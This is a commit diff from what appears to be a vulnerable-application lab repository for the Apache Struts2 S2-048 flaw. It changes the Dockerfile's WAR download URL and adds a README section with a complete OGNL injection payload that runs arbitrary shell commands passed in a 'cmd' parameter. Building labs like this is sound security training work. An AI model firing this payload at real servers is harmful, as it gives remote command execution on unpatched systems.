(Update Vul: Struts2) 更新 s2-048.war struts-core 为 2.3.32

http://struts.apache.org/docs/version-notes-2332.html

s/struts2/s2-048/Dockerfile

@@ -1,7 +1,7 @@
 FROM tomcat:8-jre8
 MAINTAINER Medici.Yan@Gmail.com
 
-ENV WAR_URL http://oe58q5lw3.bkt.clouddn.com/s/struts2/struts2/s2-048.war
+ENV WAR_URL http://oe58q5lw3.bkt.clouddn.com/s/struts2/struts2/s2-048-1.war
 
 WORKDIR /tmp
 

s/struts2/s2-048/README.md

@@ -41,6 +41,18 @@ $ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-048
 
 ![](poc-3.png)
 
+#### EXP
+
+核心部分如下：
+
+```
+%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=#parameters.cmd[0]).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
+```
+
+需要再指定一个 cmd 参数，传入要执行的命令：
+
+![](exp.png)
+
 ### 参考链接
 
 * [S2-048 公告](https://cwiki.apache.org/confluence/display/WW/S2-048)